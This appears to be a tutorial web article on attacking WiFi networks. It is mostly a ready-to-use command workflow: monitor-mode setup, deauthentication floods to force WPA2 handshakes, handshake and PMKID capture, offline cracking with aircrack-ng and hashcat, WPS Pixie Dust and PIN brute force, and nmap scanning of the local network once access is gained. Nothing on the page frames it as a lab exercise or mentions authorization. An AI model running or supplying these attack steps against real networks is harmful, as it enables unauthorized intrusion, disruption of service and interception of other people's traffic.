WiFi Hacking

3 min readArticle

WiFi hacking covers attacks against 802.11 wireless networks — from passively sniffing traffic to actively breaking encryption, intercepting communications, and creating rogue access points. This section covers the full range of wireless attack techniques.

WiFi Security Protocols (Historical Context)

Protocol	Year	Status	Vulnerability
WEP	1999	Broken	RC4 key reuse; crack in minutes
WPA	2003	Deprecated	TKIP vulnerabilities
WPA2-Personal	2004	Common	4-way handshake crackable offline
WPA2-Enterprise	2004	Secure if configured correctly	MSCHAPV2 capture if no cert validation
WPA3-Personal	2018	Current	SAE (no offline cracking)

The Essential Toolkit

bash

# Install everything you need
sudo apt install aircrack-ng reaver bully hcxdumptool hcxtools \
  hostapd dnsmasq wifite airgeddon tshark wireshark scapy

Attack Workflow Overview

1. Pre-Attack Setup

bash

# Kill conflicting processes
sudo airmon-ng check kill

# Enable monitor mode
sudo airmon-ng start wlan0
# Interface is now wlan0mon

# Scan for targets
sudo airodump-ng wlan0mon

2. Choose Your Attack

Target Encryption	Recommended Attack
Open	MitM directly
WEP	Aircrack-ng (instant)
WPA2 + WPS enabled	WPS Pixie Dust (fastest)
WPA2 (client connected)	Capture 4-way handshake + crack
WPA2 (no client)	PMKID capture + crack
WPA2-Enterprise	MANA evil twin with hostapd-wpe
WPA3	Downgrade + WPA2 attack

3. Capture Handshake

bash

# Targeted capture
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# Force handshake with deauth
sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon
# or target specific client:
sudo aireplay-ng -0 10 -a AP_BSSID -c CLIENT_MAC wlan0mon

4. Crack

bash

# Aircrack-ng
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap

# Hashcat (faster with GPU)
hcxpcapngtool -o hash.hc22000 capture-01.cap
hashcat -m 22000 hash.hc22000 rockyou.txt

PMKID Attack (No Client Needed)

bash

# Capture PMKID
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \
  --enable_status=1 --filterlist_ap=targets.txt

# Convert
hcxpcapngtool -o pmkid.hc22000 pmkid.pcapng

# Crack
hashcat -m 22000 pmkid.hc22000 rockyou.txt

WPS Attack Quick Reference

bash

# Find WPS-enabled APs
wash -i wlan0mon

# Pixie Dust (best method)
reaver -i wlan0mon -b TARGET_BSSID -K 1 -vv

# Standard PIN brute force
reaver -i wlan0mon -b TARGET_BSSID -vv

Attack Categories

ddos-attack/ — Deauth floods, packet injection, disruption
evil-twin/ — Rogue AP attacks, KARMA, credential capture
mitm/ — Man-in-the-Middle, DNS poisoning
wpa-wpa2/ — WPA handshake attacks, WPS
wpa3-security-and-attacks — WPA3 weaknesses and downgrade attacks
war-driving/ — Passive wireless mapping
automate-hacking/ — Wifite, Airgeddon, Lazy-Script
remotely-wifi-hacking/ — Remote access, Pi projects

After Getting on the Network

bash

# Disable monitor mode first
sudo airmon-ng stop wlan0mon

# Scan the network
sudo netdiscover -r 192.168.1.0/24
sudo nmap -sV 192.168.1.0/24

# Attack local services
# Look for exposed web UIs, SSH, SMB, etc.

Required Hardware

For any WiFi attack, you need a compatible wireless adapter:

Must support monitor mode and packet injection
Recommended: Alfa AWUS036ACH (dual-band, excellent range)
Check compatibility: iw list → look for "monitor" in supported modes

bash

# Test injection capability
sudo aireplay-ng -9 wlan0mon

techzonesite.comUnlock Your IT Potential